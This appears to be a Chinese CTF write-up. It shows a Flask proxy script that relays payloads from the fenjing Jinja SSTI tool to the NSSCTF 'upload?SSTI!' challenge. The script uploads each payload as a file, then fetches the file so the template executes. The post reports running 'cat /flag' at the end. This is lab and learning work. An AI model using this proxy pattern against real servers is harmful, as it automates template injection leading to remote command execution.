flask代理fenjing

介绍

fenjing是CTF竞赛中Jinja SSTI绕过WAF的全自动脚本,但原生中fenjing只能对目标网址的返回结果进行判断,并不灵活

了解到有些师傅通过本地的flask转发fenjing的请求到目标网址,并将返回结果返回给fenjing,这大大提高了fenjing的灵活性,于是我也照着这个思路写了个flask转发脚本

编写

以最近的nssctf新生赛中的upload?SSTI!为例

在这道题中,攻击者可以发送内容为模板注入的文件,之后访问flie/文件名 这个地址执行注入

在原生fenjing中只能发送json样式的post请求,并且也只会检查upload页面的返回结果,而用flask代理拿到fenjing的payload,能更加灵活得处理请求,对于注入点不同页面的返回,flask也能处理

以下是我针对upload?SSTI!题目的flask代理脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request, Response
import requests

app = Flask(__name__)
@app.route('/', methods=['POST'])
def proxy():
payload = request.form['payload']
url = "http://node2.anna.nssctf.cn:28418/"
with open("payload.txt", "w") as f:
f.write(payload)
payload1=open("payload.txt","r")
res = requests.post(url, files={"file": payload1})
res = requests.get(url=url + "/file/payload.txt")
print(res.text)
if res.status_code == 200:
return Response(res.text, mimetype='text/html')
else:
return Response("error", mimetype='text/html',status=500)

if __name__ == '__main__':
app.run(host="127.0.0.1", port=5000)

成功找到注入payload

成功执行cat /flag